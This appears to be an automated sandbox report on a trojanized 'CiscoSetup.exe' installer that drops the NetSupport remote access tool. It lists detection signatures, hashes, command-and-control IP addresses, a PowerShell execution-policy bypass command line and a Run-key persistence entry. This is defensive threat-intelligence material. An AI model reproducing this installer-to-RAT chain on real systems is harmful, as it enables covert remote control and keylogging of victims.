Edit tour

Windows Analysis Report
CiscoSetup.exe

Overview

General Information

Sample name:	CiscoSetup.exe
Analysis ID:	1546659
MD5:	91f7229586df2c577a54ad0d1a5bdcb1
SHA1:	938b4ddf983e035130a7fcbf0458c4f9d5b69ca5
SHA256:	80f7768cbf016ae16f5758e31d9eb2d277c0566654f05bad152ecbde6eb616e5
Tags:	exeOMICAREJOINTSTOCKCOMPANYuser-SquiblydooBlog
Infos:

Detection

NetSupport RAT, NetSupport Downloader

Score:	54
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	33
Range:	0 - 100

Signatures

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell drops NetSupport RAT client

Suricata IDS alerts for network traffic

Yara detected NetSupport Downloader

Bypasses PowerShell execution policy

Contains functionality to detect sleep reduction / modifications

Contains functionalty to change the wallpaper

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Powershell drops PE file

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to enumerate running services

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Yara signature match

Classification

Process Tree

System is w10x64

CiscoSetup.exe (PID: 6776 cmdline: "C:\Users\user\Desktop\CiscoSetup.exe" MD5: 91F7229586DF2C577A54AD0D1A5BDCB1)

CiscoSetup.tmp (PID: 6820 cmdline: "C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe" MD5: BFD84005E52425F9B8FE658B9663E1C4)

powershell.exe (PID: 6724 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

client32.exe (PID: 3052 cmdline: "C:\Users\user\AppData\Roaming\Cisco\client32.exe" MD5: 4F2D0F4A5BA798FA9E85379C7C4BD36E)

client32.exe (PID: 1516 cmdline: "C:\Users\user\AppData\Roaming\Cisco\client32.exe" MD5: 4F2D0F4A5BA798FA9E85379C7C4BD36E)

client32.exe (PID: 4124 cmdline: "C:\Users\user\AppData\Roaming\Cisco\client32.exe" MD5: 4F2D0F4A5BA798FA9E85379C7C4BD36E)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Cisco\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Cisco\client32.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Cisco\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1	JoeSecurity_NetSupportDownloader	Yara detected NetSupport Downloader	Joe Security
C:\Users\user\AppData\Roaming\Cisco\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Program Files (x86)\Cisco\unins000.dat	JoeSecurity_NetSupportDownloader	Yara detected NetSupport Downloader	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000000.1983117246.0000000000404000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000002.2189669515.0000000000404000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000000.2183700917.0000000000404000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000000.2102185097.0000000000404000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000003.2284925440.0000000005207000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.4142059175.0000000002648000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.2043735068.000000000883E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.2104099900.0000000000404000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000002.4141174786.0000000000404000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000007.00000003.2285282850.0000000005226000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: powershell.exe PID: 6724	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: powershell.exe PID: 6724	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x5e1260:$b1: ::WriteAllBytes( 0x832960:$b1: ::WriteAllBytes( 0x5e122b:$b2: ::FromBase64String( 0x83292b:$b2: ::FromBase64String( 0x19bbbd:$s1: -join 0x1a8c92:$s1: -join 0x1ac064:$s1: -join 0x1ac716:$s1: -join 0x1ae207:$s1: -join 0x1b040d:$s1: -join 0x1b0c34:$s1: -join 0x1b14a4:$s1: -join 0x1b1bdf:$s1: -join 0x1b1c11:$s1: -join 0x1b1c59:$s1: -join 0x1b1c78:$s1: -join 0x1b24c8:$s1: -join 0x1b2644:$s1: -join 0x1b26bc:$s1: -join 0x1b274f:$s1: -join 0x1b29b5:$s1: -join
Process Memory Space: client32.exe PID: 3052	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 3052	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 1516	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 1516	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: client32.exe PID: 4124	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: client32.exe PID: 4124	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author
8.2.client32.exe.688b0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.client32.exe.688b0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.688b0000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.0.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.0.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.0.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.client32.exe.400000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.68890000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.client32.exe.68890000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.68890000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.111b3308.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.111b3308.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.111b3308.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.2.client32.exe.111b3308.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.client32.exe.111b3308.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.2.client32.exe.111b3308.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.68590000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
10.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.2.client32.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 20 entries

Other

Source	Rule	Description	Author	Strings
amsi32_6724.amsi.csv	JoeSecurity_NetSupportDownloader	Yara detected NetSupport Downloader	Joe Security
amsi32_6724.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2e4f74:$b1: ::WriteAllBytes( 0x2e4f3e:$b2: ::FromBase64String( 0x2f16a0:$s1: -join 0x2eae4c:$s4: += 0x2eaf0e:$s4: += 0x2ef135:$s4: += 0x2f1252:$s4: += 0x2f153c:$s4: += 0x2f1682:$s4: += 0x2f4e98:$s4: += 0x2f4f9c:$s4: += 0x2f83f8:$s4: += 0x2f8ad8:$s4: += 0x2f8f8e:$s4: += 0x2f8fe3:$s4: += 0x2f9257:$s4: += 0x2f9286:$s4: += 0x2f97ce:$s4: += 0x2f97fd:$s4: += 0x2f98dc:$s4: += 0x2fbb73:$s4: +=

Sigma Signatures

System Summary

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp, ParentProcessId: 6820, ParentProcessName: CiscoSetup.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", ProcessId: 6724, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp, ParentProcessId: 6820, ParentProcessName: CiscoSetup.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", ProcessId: 6724, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp, ParentProcessId: 6820, ParentProcessName: CiscoSetup.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", ProcessId: 6724, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Cisco\client32.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6724, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6724, TargetFilename: C:\Users\user\AppData\Roaming\Cisco\pcicapi.dll

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp" /SL5="$2041A,13456411,1058304,C:\Users\user\Desktop\CiscoSetup.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp, ParentProcessId: 6820, ParentProcessName: CiscoSetup.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\cispn.ps1", ProcessId: 6724, ProcessName: powershell.exe

Remote Access Functionality

Sigma detected: Powershell drops NetSupport RAT client

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6724, TargetFilename: C:\Users\user\AppData\Roaming\Cisco\NSM.LIC

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:11:21.347015+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49733	TCP
2024-11-01T12:12:00.049379+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49743	TCP

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:11:04.921590+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49741	199.188.200.195	443	TCP
2024-11-01T12:11:04.921590+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49739	151.236.16.15	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Cryptography

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 7_2_110AC820 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		7_2_110AC820
Source: C:\Users\user\AppData\Roaming\Cisco\client32.exe	Code function: 8_2_110AC820 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		8_2_110AC820

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	EXE: C:\Users\user\AppData\Roaming\Cisco\client32.exe			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	EXE: C:\Users\user\AppData\Roaming\Cisco\remcmdstub.exe			Jump to behavior

Compliance

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	EXE: C:\Users\user\AppData\Roaming\Cisco\client32.exe			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	EXE: C:\Users\user\AppData\Roaming\Cisco\remcmdstub.exe			Jump to behavior

Uses 32bit PE files

Source: CiscoSetup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: CiscoSetup.exe

Static PE information: certificate valid

Uses new MSVCR Dlls

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Cisco\msvcr100.dll

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: CiscoSetup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: client32.exe, 00000007.00000002.4143990636.00000000688B2000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000008.00000002.2110324547.00000000688B2000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 0000000A.00000002.2191144837.00000000688B2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Users\build\p4files\ngc\Quicksilver\third-party\openssl\out.win.7.x86\ciscossl-1.1.1t.7.2.500\engines\cfom\cfom.pdb source: is-N867I.tmp.1.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: client32.pdb\1141\1141\client32\Release\client32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ExternalBrowserHelper\Win32\Win32\Release\acextwebhelper.pdb666GCTL source: is-K9DFT.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\ProxyCon\Win32\Release\ProxyCon.pdb source: is-139DF.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\ACRuntime\Release\acruntime.pdb source: is-FRTV6.tmp.1.dr
Source:	Binary string: E:\nsmsrc\nsm\1280\1280f\ctl32\release_unicode\tcctl32.pdbP` source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr
Source:	Binary string: d:\a01\_work\11\s\\binaries\x86ret\bin\i386\\msvcp140_2.i386.pdb source: is-0IGCD.tmp.1.dr
Source:	Binary string: \1141\1141\client32\Release\client32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\IPsec\Win32\Release\vpnipsec.pdb source: is-M1NCB.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CommonCrypt\Win32\Release\vpncommoncrypt.pdb]]]GCTL source: is-T3UDO.tmp.1.dr
Source:	Binary string: System.Management.Automation.pdb-2476756634-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32AppData source: powershell.exe, 00000005.00000002.2043735068.0000000008824000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\CLI\Win32\Release\vpncli.pdb+++GCTL source: is-7ARTU.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\PhoneHome\Win32\Release\acfeedback.pdb source: is-O6HT8.tmp.1.dr
Source:	Binary string: msvcr100.i386.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, client32.exe, 00000007.00000002.4143689896.00000000687D1000.00000020.00000001.01000000.0000000E.sdmp, client32.exe, 00000008.00000002.2109997806.00000000687D1000.00000020.00000001.01000000.0000000E.sdmp, client32.exe, 0000000A.00000002.2190902884.00000000687D1000.00000020.00000001.01000000.0000000E.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2038900255.000000000777A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1280\1280f\ctl32\release_unicode\tcctl32.pdb source: powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\InstallHelper\x64\Release\InstallHelper64.pdb source: is-BKQ26.tmp.1.dr
Source:	Binary string: C:\temp\build\thehoff\Quicksilver_MR50.560024709388\Quicksilver_MR5\vpn\InstallHelper\x64\Release\InstallHelper64.pdb; source: is-BKQ26.tmp.1.dr
